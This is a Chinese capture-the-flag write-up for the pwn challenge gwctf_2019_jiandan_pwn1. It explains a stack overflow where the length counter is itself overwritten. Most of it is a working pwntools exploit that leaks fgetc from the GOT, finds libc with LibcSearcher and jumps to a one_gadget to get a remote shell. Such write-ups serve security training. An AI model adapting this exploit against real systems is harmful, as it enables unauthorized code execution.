BUU-gwctf_2019_jiandan_pwn1-WP

Posted on Dec 1, 2020

这道题目确实是比较简单的一道题,仅仅是要在输入的时候注意一下就可以了。

这里相当于是自己实现了一个gets,但是记录当前长度的变量也存在当前栈帧中,并且我们在进行读入的时候,如果想实现栈溢出,就不得不覆盖这个变量,这样的话就无法正常寻址了,所以我们需要在输入到v4这个变量时注意覆盖的值,我这里直接修改v4的值为0x118,这样就可以直接覆盖return address了。这样我们就可以泄露某个libc的函数的got,然后就可以通过LibcSearcher找出对应的libc,然后使用one_gadget来直接获得shell。

找出来一大堆符合条件的,但是只有这个是只有一个amd64后缀的,那就它了。

奇怪的是第一个gadget是不能用的,不知道为什么,然后我试了一下最后一个,拿到了shell,所以最后的exp

from pwn import *                                                                  
from LibcSearcher import *                                                         
context(log_level = 'debug',os = 'linux',arch = 'amd64')                           
                                                                                   
#sh = process("./jiandan_pwn")                                                     
sh = remote("node3.buuoj.cn","28570")                                              
elf = ELF("./jiandan_pwn")                                                         
#puts_plt = elf.symbols["puts"]                                                    
call_puts = 0x4007BF                                                               
fgetc_got = elf.got["fgetc"]                                                       
pop_rdi = 0x0000000000400843                                                       
                                                                                   
sh.recvuntil("Hack 4 fun!\n")                                                      
#payload = 'a'*0x110 + 'b'*8 + p64(pop_rdi) + p64(fgetc_got) + p64(call_puts) + 'a'  
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(call_puts)
sh.sendline(payload)                                                               
                                                                                   
data = ''                                                                          
last = ''                                                                          
while True:                                                                        
    now = sh.recv(numb = 1,timeout = 0.01)                                         
    if last == '\n' and now == '':                                                 
    ┊   data = data[:-1] + '\x00'                                                  
    ┊   break                                                                      
    else:                                                                          
    ┊   data = data + now                                                          
    ┊   last = now                                                                 
fgetc_addr = u64(data.ljust(8,'\x00'))                                             
print hex(fgetc_addr)                                                              
libc = LibcSearcher('fgetc',fgetc_addr)                                            
libcbase = fgetc_addr - libc.dump('fgetc')                                         
print hex(libcbase)                                                                
                                                                                   
execv_addr = libcbase + 0xf1147 #one_gadget                                        
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(execv_addr)                             
sh.sendline(payload)                                                               
                                                                                   
sh.interactive()